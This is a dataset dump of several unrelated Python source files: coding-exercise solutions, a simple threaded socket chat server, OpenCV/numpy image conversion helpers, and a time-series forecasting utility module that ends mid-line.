ret\n\n\n\ndef main():\n s = Solution()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"python/leetcode_bak/645_Set_Mismatch.py","file_name":"645_Set_Mismatch.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"450404657","text":"#!/usr/bin/env python\nfrom socket import AF_INET, socket, SOCK_STREAM\nfrom threading import Thread\nfrom chat_common import *\n\n\"We can store the user's names and addresses in these containers\"\nclients = {}\naddresses = {}\n\n\"We store the channels in this container\"\nchannels = {}\n\n\"Basic attributes of the server\"\nHOST = ''\nPORT = 33000\nBUFSIZ = 1024\nADDR = (HOST, PORT)\nSERVER = socket(AF_INET, SOCK_STREAM)\nSERVER.bind(ADDR)\n\n\"Handle client connection\"\ndef accept_incoming_connections():\n while True:\n client, client_address = SERVER.accept()\n print(\"%s:%s has connected!\" % client_address)\n client.send(bytes(\"Greetings from the server!\\nNow type /set_name and press ENTER!\\n\", \"utf8\"))\n addresses[client] = client_address\n \"Asynchronous client handling\"\n Thread(target=handle_client, args=(client, )).start()\n\n\"Handle client after connection to the server\"\ndef handle_client(client):\n name = client.recv(BUFSIZ).decode(\"utf8\") #The user's name\n \n while name in clients:\n # The name is already taken -> let the user know!\n client.send(bytes('This name is already taken!\\nPlease choose another!', 'utf8'))\n name = client.recv(BUFSIZ).decode(\"utf8\") #The user's new name\n \n clients[client] = name\n welcome = 'Welcome %s! If you ever want to quit, type /quit to exit\\n' % name\n welcome += 'You are now in the lobby, use the following commands:\\n'\n welcome += '/list_channels\\n'\n welcome += '/list_channel_members \\n'\n welcome += '/create_channel \\n'\n welcome += '/join_channel \\n'\n welcome += '/leave_channel\\n'\n client.send(bytes(welcome, \"utf8\"))\n client_t = {\n 'client': client,\n 'name': name,\n 'channel': None\n }\n start_client_loop(client_t)\n\ndef start_client_loop(client_t):\n client = client_t['client']\n while client in clients:\n msg = client.recv(BUFSIZ)\n msg_parts = msg.decode('utf8').split(' ')\n order = msg_parts[0]\n if len(msg_parts) == 1:\n order_dictionary.get(order)(None, client_t)\n elif len(msg_parts) == 2:\n param = msg_parts[1]\n order_dictionary.get(order)(param, client_t)\n else:\n params = ''\n for word in msg_parts[1:]:\n params += ' %s' % word\n order_dictionary.get(order)(params, client_t)\n\n\"Sending a message to every channel members\"\ndef broadcast(msg, channel, prefix=\"\"):\n for client_t in channel.values():\n client_t['client'].send(bytes(prefix, \"utf8\")+msg)\n\ndef create_channel(channel, client_t):\n if channel in channels:\n client_t['client'].send(bytes('This channel name is already taken!\\nPlease choose another!', 'utf8'))\n return\n print(\"Creating new channel: %s\" % channel)\n new_channel = {\n 'name': channel,\n 'members': {},\n 'owner': client_t\n }\n channels[channel] = new_channel\n client_t['client'].send(bytes(\"Channel created with name: %s\" % channel, \"utf8\"))\n join_channel(channel, client_t)\n\ndef leave_channel(params, client_t):\n if client_t['channel'] == None:\n client_t['client'].send(bytes('You have to be in a channel for this function!', 'utf8'))\n return\n channel_to_check = client_t['channel']\n client_t['channel'] = None\n del channels[channel_to_check]['members'][client_t['name']]\n if len(channels[channel_to_check]['members']) == 0:\n print(\"Deleting channel: %s\" % channel_to_check)\n del channels[channel_to_check]\n else:\n msg = '%s has left the channel!' % client_t['name']\n broadcast(bytes(msg, 'utf8'), channels[channel_to_check]['members'])\n\n\ndef list_channels(params, client_t):\n result = ''\n if len(channels) == 0:\n result = 'There is no channel yet! Create one yourself!' \n else:\n result = 'Available channels:\\n'\n for channel in channels.values():\n result += '- %s\\n' % channel['name']\n client_t['client'].send(bytes(result, \"utf8\"))\n\ndef list_channel_members(channel, client_t):\n result = ''\n if channel not in channels:\n result = 'This channel does not exist!'\n else:\n result = '%s members:\\n' % channel\n for member in channels[channel]['members'].values():\n result += '%s\\n' % member['name']\n client_t['client'].send(bytes(result, \"utf8\"))\n\ndef join_channel(channel, client_t):\n if channel not in channels:\n client_t['client'].send(bytes('This channel does not exist!', 'utf8'))\n else:\n channels[channel]['members'][client_t['name']] = client_t\n client_t['channel'] = channel\n client_t['client'].send(bytes('You are now in the channel \\\"%s\\\"' % channel, 'utf8'))\n msg = '%s has joined the channel!' % client_t['name']\n broadcast(bytes(msg, 'utf8'), channels[channel]['members'])\n\n\ndef send_message(msg, client_t):\n if client_t['channel'] != None:\n channel = channels[client_t['channel']]\n broadcast(bytes(msg, 'utf8'), channel['members'], '%s: ' % client_t['name'])\n else:\n client_t['client'].send(bytes('You have to be in a channel to access this function!', 'utf8'))\n\ndef quit_app(params, client_t):\n print(\"%s has quit\" % client_t['name'])\n client_t['client'].send(bytes('/quit', 'utf8'))\n client_t['client'].close()\n del clients[client_t['client']]\n if client_t['channel'] != None:\n broadcast('%s disconnected' % client_t['name'], channels[client_t['channel']]['members'])\n del channels[client_t['channel']]['members'][client_t['name']]\n del client_t\n\norder_dictionary = {\n '/create_channel': create_channel,\n '/list_channels': list_channels,\n '/list_channel_members': list_channel_members,\n '/leave_channel': leave_channel,\n '/message': send_message,\n '/join_channel': join_channel,\n '/quit': quit_app\n}\n\nif __name__ == \"__main__\":\n SERVER.listen(5)\n print(\"Waiting for connections...\")\n ACCEPT_THREAD = Thread(target=accept_incoming_connections)\n ACCEPT_THREAD.start()\n ACCEPT_THREAD.join()\n SERVER.close()","sub_path":"chat_server.py","file_name":"chat_server.py","file_ext":"py","file_size_in_byte":6224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"601145753","text":"# Time: O(n)\n# Space: O(n)\n\n# We are given a binary tree (with root node root), a target node,\n# and an integer value `K`.\n#\n# Return a list of the values of all nodes that have a distance K\n# from the target node. The answer can be returned in any order.\n#\n# Example 1:\n#\n# Input: root = [3,5,1,6,2,0,8,null,null,7,4], target = 5, K = 2\n# Output: [7,4,1]\n# Explanation:\n# The nodes that are a distance 2 from the target node (with value 5)\n# have values 7, 4, and 1.\n#\n# Note that the inputs \"root\" and \"target\" are actually TreeNodes.\n# The descriptions of the inputs above are\n# just serializations of these objects.\n#\n# Note:\n# - The given tree is non-empty.\n# - Each node in the tree has unique values 0 <= node.val <= 500.\n# - The target node is a node in the tree.\n# - 0 <= K <= 1000.\n#\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nimport collections\n\ntry:\n xrange # Python 2\nexcept NameError:\n xrange = range # Python 3\n\n\nclass Solution(object):\n def distanceK_kamyu(self, root, target, K): # Space not good: extra space neighbors\n # ok to use node value since values are unique\n \"\"\"\n :type root: TreeNode\n :type target: TreeNode\n :type K: int\n :rtype: List[int]\n \"\"\"\n def dfs(parent, node):\n if node:\n if parent:\n neighbors[parent.val].append(node.val)\n neighbors[node.val].append(parent.val)\n dfs(node, node.left)\n dfs(node, node.right)\n\n neighbors = collections.defaultdict(list)\n dfs(None, root)\n bfs = [target.val]\n lookup = set(bfs)\n for _ in xrange(K):\n bfs = [nei for node in bfs\n for nei in neighbors[node]\n if nei not in lookup]\n lookup |= set(bfs)\n return bfs\n\n def distanceK(self, root, target, K): # USE THIS\n def dfs(node, par):\n if node:\n parent[node] = par\n dfs(node.left, node)\n dfs(node.right, node)\n\n parent = {}\n dfs(root, None)\n bfs, seen = [target], {target}\n for _ in xrange(K):\n bfs = [nei for n in bfs for nei in (n.left, n.right, parent[n]) if nei and nei not in seen]\n seen |= set(bfs)\n return [n.val for n in bfs]\n\nroot = TreeNode(3)\nroot.left, root.right = TreeNode(5), TreeNode(1)\nroot.left.left, root.left.right = TreeNode(6), TreeNode(2)\nroot.left.right.left, root.left.right.right = TreeNode(7), TreeNode(4)\nroot.right.left, root.right.right = TreeNode(0), TreeNode(8)\n\nprint(Solution().distanceK(root, root.left, 0))\nprint(Solution().distanceK(root, root.left, 1))\nprint(Solution().distanceK(root, root.left, 2))\nprint(Solution().distanceK(root, root.left, 3))\nprint(Solution().distanceK(root, root.left, 4))\nprint(Solution().distanceK(root, root.left, 50))\n","sub_path":"Python/all-nodes-distance-k-in-binary-tree.py","file_name":"all-nodes-distance-k-in-binary-tree.py","file_ext":"py","file_size_in_byte":3060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"461843953","text":"def minMaxSum(array):\n \"\"\" Finds the minimum and maximum value when adding 4 out of 5 items in the array\n Args:\n array (string): the array written as 5 numbers separated by spaces\n\n Returns:\n The minimum and maximum values separated by a space\n \"\"\"\n array = array.split()\n whole = 0\n for number in array:\n whole += int(number)\n array.sort()\n mini = whole - int(array[4])\n maxi = whole - int(array[0])\n\n print(\"%s %s\" % (mini, maxi))\n","sub_path":"MinMaxSum.py","file_name":"MinMaxSum.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"634026217","text":"\"\"\"Konvertierung von Numpy-Arrays zu OpenCV-Bildobjekten und zurueck.\nWurde aus einem OpenCV-Tutorial uebernommen.\"\"\"\n\nimport numpy as np\nimport cv\n\n\"\"\"CV-Bilder nach numpy konvertieren\"\"\"\ndef cv2array(im):\n depth2dtype = { \n cv.IPL_DEPTH_8U: 'uint8',\n cv.IPL_DEPTH_8S: 'int8',\n cv.IPL_DEPTH_16U: 'uint16',\n cv.IPL_DEPTH_16S: 'int16',\n cv.IPL_DEPTH_32S: 'int32',\n cv.IPL_DEPTH_32F: 'float32',\n cv.IPL_DEPTH_64F: 'float64',\n }\n \n arrdtype=im.depth\n a = np.fromstring(im.tostring(),dtype=depth2dtype[im.depth],\n count=im.width*im.height*im.nChannels)\n a.shape = (im.height,im.width,im.nChannels)\n \n return a\n\n\"\"\"Numpy-Arrays nach cv-Bild konvertieren \"\"\"\ndef array2cv(image_num):\n dtype2depth = { \n 'uint8': cv.IPL_DEPTH_8U,\n 'int8': cv.IPL_DEPTH_8S,\n 'uint16': cv.IPL_DEPTH_16U,\n 'int16': cv.IPL_DEPTH_16S,\n 'int32': cv.IPL_DEPTH_32S,\n 'float32': cv.IPL_DEPTH_32F,\n 'float64': cv.IPL_DEPTH_64F,\n }\n \n try:\n nChannels=image_num.shape[2]\n except:\n nChannels=1\n cv_im=cv.CreateImageHeader((image_num.shape[1],image_num.shape[0]),dtype2depth[str(image_num.dtype)],nChannels)\n \n cv.SetData(cv_im, image_num.tostring(),image_num.dtype.itemsize*nChannels*image_num.shape[1])\n \n return cv_im","sub_path":"projektbericht/listing/fuerAnhang/image_conversion.py","file_name":"image_conversion.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"394654421","text":"__author__ = 'harri'\n\nimport hello_deep_learning_world\nimport numpy as np\nimport os\nimport cPickle as cp\nfrom hyperopt import fmin, tpe, hp, STATUS_OK\n\nbest_val = 0\nbest_test = 0\nbest_L = 0\n\n# space = (hp.uniform(\"L\", 0, 10))\n#\n# best = fmin(hello_deep_learning_world.train, space, algo=tpe.suggest, max_evals=1000)\n#\n# # while True:\n# # L = np.random.uniform(0,10)\n# # results = hello_deep_learning_world.train(L)\n# # if results[\"best_val\"] > best_val:\n# # best_val = results[\"best_val\"]\n# # best_test = results[\"best_test\"]\n# # best_L = L\n# # print \"Best results so far:\", best_val, best_test, best_L\n\nLs = np.linspace(0,1,99)\nprint(\"Testing Ls: \", Ls)\nn_repeats = 20\ncwd = os.getcwd()\npath = os.path.join(cwd, \"results.pkl\")\ntotal_results = []\nfor L in Ls:\n\n current_result = [hello_deep_learning_world.train(L) for _ in range(n_repeats)]\n total_results.append(current_result)\n results_file = open(path, \"wb\")\n cp.dump(total_results,results_file)\n results_file.flush()\n results_file.close()","sub_path":"DDS/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"652714101","text":"#! /usr/bin/env python\r\n\r\n\"\"\"\r\n@author: Ajay Arunachalam\r\nCreated on: 06/10/2021\r\nHelper and Utility functions for forecasting model pipeline\r\nVersion: 0.0.5\r\n\"\"\"\r\nfrom math import sqrt\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.preprocessing import MinMaxScaler, StandardScaler, MaxAbsScaler, RobustScaler\r\nfrom sklearn.metrics import mean_absolute_error, mean_squared_error, r2_score, explained_variance_score\r\nfrom sklearn.linear_model import LinearRegression\r\nimport plotly.offline as pyo\r\nimport plotly.graph_objs as go\r\nfrom plotly.offline import iplot\r\nimport torch\r\nimport os\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom .forecast_ml import *\r\nfrom .forecast_ml_extension import *\r\nfrom .stats import *\r\nimport seaborn as sns\r\nfrom random import *\r\nget_ipython().run_line_magic('matplotlib', 'inline')\r\n\r\nclass Helper:\r\n\r\n\tdef get_variable(df, timestamp_col, forecasting_col):\r\n\t\torig_df = df.copy(deep=True)\r\n\t\tdf = df.set_index([timestamp_col])\r\n\t\tdf = df.rename(columns={forecasting_col: 'value'})\r\n\r\n\t\tdf.index = pd.to_datetime(df.index)\r\n\t\tif not df.index.is_monotonic:\r\n\t\t\tdf = df.sort_index()\r\n\t\treturn df, orig_df\r\n\r\n\r\n\tdef predictor_outcome_split(df, target_col):\r\n\t\t#y = df.iloc[:,target_col]\r\n\t\t#X = df.iloc[:,target_col+1:df.shape[1]]\r\n\t\ty = df[[target_col]]\r\n\t\tX = df.drop(columns=[target_col])\r\n\t\treturn X, y\r\n\r\n\tdef train_val_test_split(df, target_col, test_ratio):\r\n\t\tval_ratio = test_ratio / (1 - test_ratio)\r\n\t\t#val_ratio = 0.25 #test_ratio / (1 - test_ratio)\r\n\t\tX, y = Helper.predictor_outcome_split(df, target_col)\r\n\t\tX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=test_ratio, shuffle=False)\r\n\t\tX_train, X_val, y_train, y_val = train_test_split(X_train, y_train, test_size=val_ratio, shuffle=False)\r\n\t\tprint(\"Train-Val-Test Split\")\r\n\t\tprint(f'Predictors: Train-{(X_train.shape)}, Val-{(X_val.shape)}, Test-{(X_test.shape)}')\r\n\t\tprint(f'Response: Train-{(y_train.shape)}, Val-{(y_val.shape)}, Test-{(y_test.shape)}')\r\n\t\treturn X_train, X_val, X_test, y_train, y_val, y_test\r\n\r\n\tdef get_scaler(scaler):\r\n\t\tscalers = {\r\n\t\t\"minmax\": MinMaxScaler,\r\n\t\t\"standard\": StandardScaler,\r\n\t\t\"maxabs\": MaxAbsScaler,\r\n\t\t\"robust\": RobustScaler,\r\n\t\t}\r\n\t\treturn scalers.get(scaler.lower())()\r\n\r\n\tdef apply_transformation(X_train, X_val, X_test, y_train, y_val, y_test, scaler):\r\n\r\n\t\tdef get_scaler(scaler):\r\n\t\t\tscalers = {\r\n\t\t\t\t\"minmax\": MinMaxScaler,\r\n\t\t\t\t\"standard\": StandardScaler,\r\n\t\t\t\t\"maxabs\": MaxAbsScaler,\r\n\t\t\t\t\"robust\": RobustScaler,\r\n\t\t\t}\r\n\t\t\treturn scalers.get(scaler.lower())()\r\n\r\n\t\tscaler = get_scaler(scaler)\r\n\t\tX_train_arr = scaler.fit_transform(X_train)\r\n\t\tX_val_arr = scaler.transform(X_val)\r\n\t\tX_test_arr = scaler.transform(X_test)\r\n\r\n\t\ty_train_arr = scaler.fit_transform(y_train)\r\n\t\ty_val_arr = scaler.transform(y_val)\r\n\t\ty_test_arr = scaler.transform(y_test)\r\n\r\n\t\t#X_full_arr = np.concatenate(X_train_arr, X_val_arr, X_test_arr)\r\n\t\t#y_full_arr = np.concatenate(y_train_arr, y_val_arr, y_test_arr)\r\n\t\treturn X_train_arr, X_val_arr, X_test_arr, y_train_arr, y_val_arr, y_test_arr, scaler\r\n\r\n\tdef apply_transformation_forecast(X, scaler):\r\n\t\tscaler = Helper.get_scaler(scaler)\r\n\t\tX_arr = scaler.fit_transform(X)\r\n\t\treturn X_arr\r\n\r\n\tdef prepare_pytorch_data_forecast_df(X_arr):\r\n\t\tunseen_loader = torch.Tensor(X_arr)\r\n\t\tprint(f'Tensor size: {unseen_loader.size(0)}')\r\n\t\treturn unseen_loader\r\n\r\n\tdef prepare_pytorch_data(X_train_arr, X_val_arr, X_test_arr, y_train_arr, y_val_arr, y_test_arr, batch_size):\r\n\t\timport torch\r\n\t\tfrom torch.utils.data import TensorDataset, DataLoader\r\n\t\ttrain_features = torch.Tensor(X_train_arr)\r\n\t\ttrain_targets = torch.Tensor(y_train_arr)\r\n\t\tval_features = torch.Tensor(X_val_arr)\r\n\t\tval_targets = torch.Tensor(y_val_arr)\r\n\t\ttest_features = torch.Tensor(X_test_arr)\r\n\t\ttest_targets = torch.Tensor(y_test_arr)\r\n\t\t\r\n\t\ttrain = TensorDataset(train_features, train_targets)\r\n\t\tval = TensorDataset(val_features, val_targets)\r\n\t\ttest = TensorDataset(test_features, test_targets)\r\n\t\t\r\n\t\ttrain_loader = DataLoader(train, batch_size=batch_size, shuffle=False, drop_last=True)\r\n\t\tval_loader = DataLoader(val, batch_size=batch_size, shuffle=False, drop_last=True)\r\n\t\ttest_loader = DataLoader(test, batch_size=batch_size, shuffle=False, drop_last=True)\r\n\t\ttest_loader_one = DataLoader(test, batch_size=1, shuffle=False, drop_last=True)\r\n\t\t\r\n\t\treturn train_loader, val_loader, test_loader, test_loader_one\r\n\r\n\tdef get_stats_model(model):\r\n\t\tmodels = {\r\n\t\t\t\"em\": Stats_Models.EMModel,\r\n\r\n\t\t}\r\n\t\treturn models.get(model.lower())\r\n\r\n\tdef get_model(model, model_params):\r\n\t\tmodels = {\r\n\t\t\t\"rnn\": Forecasting_Models.RNNModel,\r\n\t\t\t\"lstm\": Forecasting_Models.LSTMModel,\r\n\t\t\t\"gru\": Forecasting_Models.GRUModel,\r\n\t\t\t\"birnn\": Forecasting_Models.BiRNNModel,\r\n\t\t\t\"bigru\": Forecasting_Models.BiGRUModel,\r\n\t\t\t\"cnn\": Forecasting_Models.CNNModel,\r\n\t\t\t\"deepcnn\": Forecasting_Models.DeepCNNModel,\r\n\t\t\t\r\n\t\t}\r\n\t\treturn models.get(model.lower())(**model_params)\r\n\r\n\tdef inverse_transform(scaler, df, columns):\r\n\t\tfor col in columns:\r\n\t\t\tdf[col] = scaler.inverse_transform(df[col])\r\n\t\treturn df\r\n\r\n\r\n\tdef format_predictions(predictions, values, df_test, scaler):\r\n\t\tvals = np.concatenate(values, axis=0).ravel()\r\n\t\tpreds = np.concatenate(predictions, axis=0).ravel()\r\n\t\tdf_result = pd.DataFrame(data={\"value\": vals, \"prediction\": preds}, index=df_test.head(len(vals)).index)\r\n\t\tdf_result = df_result.sort_index()\r\n\t\tdf_result = Helper.inverse_transform(scaler, df_result, [[\"value\", \"prediction\"]])\r\n\t\treturn df_result\r\n\r\n\tdef forecast_bias():\r\n\t\tpass\r\n\r\n\tdef smape(actual, prediction):\r\n\t\tdividend= np.abs(np.array(actual) - np.array(prediction))\r\n\t\tdenominator = np.array(actual) + np.array(prediction)\r\n\t\treturn 2 * np.mean(np.divide(dividend, denominator, out=np.zeros_like(dividend), where=denominator!=0, casting='unsafe'))\r\n\r\n\tdef calculate_metrics(df):\r\n\t\tmetrics_one = {'mae' : mean_absolute_error(df.value, df.prediction),\r\n\t\t\t\t\t\t 'rmse' : mean_squared_error(df.value, df.prediction) ** 0.5,\r\n\t\t\t\t\t\t 'fc_bias' : (np.sum(np.array(df.value) - np.array(df.prediction)) * 1.0/len(df.value)),\r\n\t\t\t\t\t\t 'mape' : np.mean((np.abs((df.value-df.prediction) / df.value)) * 100) ,\r\n\t\t\t\t\t}\r\n\t\t\r\n\t\tprint(\"Mean Absolute Error (MAE): \", metrics_one[\"mae\"])\r\n\t\tprint(\"Root Mean Squared Error (RMSE): \", metrics_one[\"rmse\"])\r\n\t\tprint(\"Forecast bias: \t\t \", metrics_one[\"fc_bias\"])\r\n\t\tprint(\"Mean Absolute Percentage Error (MAPE): \", metrics_one[\"mape\"])\r\n\t\r\n\r\n\t\tmetrics_two = {'r2' : r2_score(df.value, df.prediction),\r\n\t\t\t\t\t\t 'evs': explained_variance_score(df.value, df.prediction),\r\n\t\t\t\t\t\t 'rmsre' : np.sqrt(np.mean(((df.value-df.prediction)/df.value)**2)),\r\n\t\t\t\t\t\t 'smape': Helper.smape(df.value, df.prediction),\r\n\t\t\t\t\t\t 'r': np.corrcoef(df.value, df.prediction)[0, 1],}\r\n\r\n\t\tprint(\"R^2 Score: \", metrics_two[\"r2\"])\r\n\t\tprint(\"Explained Variance Score: \", metrics_two[\"evs\"])\r\n\t\tprint(\"Root Mean Squared Relative Error (RMSRE): \", metrics_two[\"rmsre\"])\r\n\t\tprint(\"Symmetric Mean Absolute Percentage Error (sMAPE): \", metrics_two[\"smape\"])\r\n\t\tprint(\"pcc coefficient: \", metrics_two[\"r\"])\r\n\r\n\t\treturn metrics_one, metrics_two\r\n\r\n\tdef plot_metrics(metrics_one, metrics_two):\r\n\t\t# Visualize Metrics as bar plot with sns\r\n\t\tdata_metrics_one = pd.DataFrame.from_dict(metrics_one.items())\r\n\r\n\t\tfig, axes = plt.subplots(nrows=1, ncols=1, figsize=(10,7))\r\n\t\taxes = sns.barplot(data = data_metrics_one, x = 0, y=1, hue=0)\r\n\t\taxes.set(xlabel = 'Metrics', ylabel='Value', title='Model Peformance wrt. their corresponding metrics')\r\n\t\tfig.savefig('./metric_plot_1.png')\r\n\r\n\t\tdata_metrics_two = pd.DataFrame.from_dict(metrics_two.items())\r\n\r\n\t\tfig, axes = plt.subplots(nrows=1, ncols=1, figsize=(10,7))\r\n\t\taxes = sns.barplot(data = data_metrics_two, x = 0, y=1, hue=0)\r\n\t\taxes.set(xlabel = 'Metrics', ylabel='Value', title='Model Peformance wrt. their corresponding metrics')\r\n\t\tfig.savefig('./metric_plot_2.png')\r\n\r\n\t# def make_future_df(df, ts, period:int, fq:str):\r\n\t# \tlast_date = df[ts].max()\r\n\t# \tdates = pd.date_range(start=last_date, periods=period + 1, freq=fq)\r\n\t# \tdates = dates[dates > last_date] # Drop start if equals last_date\r\n\t# \tdates = dates[:period] # Return correct number of periods \r\n\t# \treturn pd.Dataframe({ts:dates})\r\n\r\n\tdef make_future_df(df, ts, period:int, fq:str):\r\n\t\t#last_date = df.index.max()\r\n\t\t#dates = pd.date_range(start=last_date, periods=period + 1, freq=fq)\r\n\t\t#assert dates == dates\r\n\t\tdigit = ''.join(filter(str.isdigit, str(fq)))\r\n\t\tinterval = int(digit)\r\n\t\tif str(fq) == 'h' or str(fq) == 'H' or interval is not None: # hourly\r\n\t\t\t#last_date = df[ts].max()\r\n\t\t\tlast_date = df.index.max()\r\n\t\t\tdates = pd.date_range(start=last_date, periods=period + 1, freq=fq) # Add 1 incase last date is included\r\n\t\t\tdates = dates[dates > last_date] # Drop start if equals last_date\r\n\t\t\tdates = dates[:period] # Return correct number of periods\r\n\t\t\tff = pd.DataFrame({ts:dates})\r\n\t\t\tff.set_index(ts, inplace=True)\r\n\t\telif str(fq) == 'm' or str(fq) == 'M' or interval is not None: # monthly\r\n\t\t\tlast_date = df.index.max()\r\n\t\t\tdates = pd.date_range(start=last_date, periods=period + 1, freq=fq) # Add 1 incase last date is included\r\n\t\t\tdates = dates[dates > last_date] # Drop start if equals last_date\r\n\t\t\tdates = dates[1:period+1] # Return correct number of periods\r\n\t\t\tff = pd.DataFrame({ts:dates})\r\n\t\t\tff.set_index(ts, inplace=True)\r\n\t\telif str(fq) == 'd' or str(fq) == 'D' or interval is not None: # daily\r\n\t\t\tlast_date = df.index.max()\r\n\t\t\tdates = pd.date_range(start=last_date, periods=period + 1, freq=fq) # Add 1 incase last date is included\r\n\t\t\tdates = dates[dates > last_date] # Drop start if equals last_date\r\n\t\t\tdates = dates[1:period+1] # Return correct number of periods\r\n\t\t\tff = pd.DataFrame({ts:dates})\r\n\t\t\tff.set_index(ts, inplace=True)\r\n\t\telif str(fq) == 'w' or str(fq) == 'W' or interval is not None: # weekly\r\n\t\t\tlast_date = df.index.max()\r\n\t\t\tdates = pd.date_range(start=last_date, periods=period + 1, freq=fq) # Add 1 incase last date is included\r\n\t\t\tdates = dates[dates > last_date] # Drop start if equals last_date\r\n\t\t\tdates = dates[1:period+1] # Return correct number of periods\r\n\t\t\tff = pd.DataFrame({ts:dates})\r\n\t\t\tff.set_index(ts, inplace=True)\r\n\t\telif str(fq) == 'min' or str(fq) == 'MIN' or interval is not None: # minute\r\n\t\t\tlast_date = df.index.max()\r\n\t\t\tdiff_min = (df.index.minute[1] - df.index.minute[0])\r\n\t\t\tdates = pd.date_range(start=last_date, periods=period + 1, freq=fq) # Add 1 incase last date is included\r\n\t\t\tdates = dates[dates > last_date] # Drop start if equals last_date\r\n\t\t\tdates = dates[:period] # Return correct number of periods\r\n\t\t\tff = pd.DataFrame({ts:dates})\r\n\t\t\tff.set_index(ts, inplace=True)\r\n\t\telif str(fq) == 's' or str(fq) == 'S' or interval is not None: # second\r\n\t\t\tlast_date = df.index.max()\r\n\t\t\tdiff_sec = (df.index.second[1] - df.index.second[0])\r\n\t\t\tdates = pd.date_range(start=last_date, periods=period + 1, freq=fq) # Add 1 incase last date is included\r\n\t\t\tdates = dates[dates > last_date] # Drop start if equals last_date\r\n\t\t\tdates = dates[:period] # Return correct number of periods\r\n\t\t\tff = pd.DataFrame({ts:dates})\r\n\t\t\tff.set_index(ts, inplace=True)\r\n\t\telif str(fq) == 'n' or str(fq) == 'N' or interval is not None: # millisecond\r\n\t\t\tlast_date = df.index.max()\r\n\t\t\tdiff_sec = (df.index.second[1] - df.index.second[0])\r\n\t\t\tdates = pd.date_range(start=last_date, periods=period + 1, freq=fq) # Add 1 incase last date is included\r\n\t\t\tdates = dates[dates > last_date] # Drop start if equals last_date\r\n\t\t\tdates = dates[:period] # Return correct number of periods\r\n\t\t\tff = pd.DataFrame({ts:dates})\r\n\t\t\tff.set_index(ts, inplace=True)\r\n\t\telif str(fq) == 'q' or str(fq) == 'Q' or str(fq) == 'QS': # quaterly\r\n\t\t\tlast_date = df.index.max()\r\n\t\t\tdates = pd.date_range(start=last_date, periods=period + 1, freq=fq) # Add 1 incase last date is included\r\n\t\t\tdates = dates[dates > last_date] # Drop start if equals last_date\r\n\t\t\tdates = dates[:period] # Return correct number of periods\r\n\t\t\tff = pd.DataFrame({ts:dates})\r\n\t\t\tff.set_index(ts, inplace=True)\r\n\t\telif str(fq) == '2q' or str(fq) == '2Q' or str(fq) == 'HA': # half yearly\r\n\t\t\tlast_date = df.index.max()\r\n\t\t\tdates = pd.date_range(start=last_date, periods=period + 1, freq=fq) # Add 1 incase last date is included\r\n\t\t\tdates = dates[dates > last_date] # Drop start if equals last_date\r\n\t\t\tdates = dates[:period] # Return correct number of periods\r\n\t\t\tff = pd.DataFrame({ts:dates})\r\n\t\t\tff.set_index(ts, inplace=True)\r\n\t\telif str(fq) == 'y' or str(fq) == 'Y' or str(fq) == 'A' or interval is not None: # yearly\r\n\t\t\tlast_date = df.index.max()\r\n\t\t\tdates = pd.date_range(start=last_date, periods=period + 1, freq=fq) # Add 1 incase last date is included\r\n\t\t\tdates = dates[dates > last_date] # Drop start if equals last_date\r\n\t\t\tdates = dates[:period] # Return correct number of periods\r\n\t\t\tff = pd.DataFrame({ts:dates})\r\n\t\t\tff.set_index(ts, inplace=True)\r\n\t\treturn ff\r\n\r\n\tdef make_future_dataframe(self, periods, freq='D', include_history=True):\r\n\t\t\r\n\t\t\"\"\"Simulate the trend using the extrapolated generative model.\r\n\t\tParameters\r\n\t\t----------\r\n\t\tperiods: Int number of periods to forecast forward.\r\n\t\tfreq: Any valid frequency for pd.date_range, such as 'D' or 'M'.\r\n\t\tinclude_history: Boolean to include the historical dates in the data\r\n\t\t\tframe for predictions.\r\n\t\tReturns\r\n\t\t-------\r\n\t\tpd.Dataframe that extends forward from the end of self.history for the\r\n\t\trequested number of periods.\r\n\t\t\"\"\"\r\n\t\tif self.history_dates is None:\r\n\t\t\traise Exception('Model has not been fit.')\r\n\t\tlast_date = self.history_dates.max()\r\n\t\tdates = pd.date_range(\r\n\t\t\tstart=last_date,\r\n\t\t\tperiods=periods + 1, # An extra in case we include start\r\n\t\t\tfreq=freq)\r\n\t\tdates = dates[dates > last_date] # Drop start if equals last_date\r\n\t\tdates = dates[:periods] # Return correct number of periods\r\n\r\n\t\tif include_history:\r\n\t\t\tdates = np.concatenate((np.array(self.history_dates), dates))\r\n\r\n\t\treturn pd.DataFrame({'ds': dates})\r\n\r\n\r\n\t# def forecast_window_inference(predictions, df, scaler):\r\n\t# \tpreds = np.concatenate(predictions, axis=0).ravel()\r\n\t# \tdf_result = pd.DataFrame(data={\"prediction\": preds}, index=df_test.head(len(df)).index)\r\n\t# \tdf_result = df_result.sort_index()\r\n\t# \tdf_result = Helper.inverse_transform(scaler, df_result, [[\"prediction\"]])\r\n\t# \treturn df_result\r\n\r\n\tdef forecast_window_inference(predictions, df, scaler):\r\n\t\tpreds = np.concatenate(predictions, axis=0).ravel()\r\n\t\tdf_result = pd.DataFrame(data={\"value\": preds}, index=df.head(len(preds)).index)\r\n\t\tdf_result = df_result.sort_index()\r\n\t\tdf_result = Helper.inverse_transform(scaler, df_result, [[\"value\"]])\r\n\t\treturn df_result\r\n\r\n\tdef save_final_data(df, ff, ts, fc):\r\n\t\tforecasted_data = pd.concat([df.reset_index(), ff.reset_index()], axis=0)\r\n\t\tforecasted_data.set_index(ts, inplace=True)\r\n\t\tforecasted_data = forecasted_data.rename(columns={'value':fc})\r\n\t\tfig = 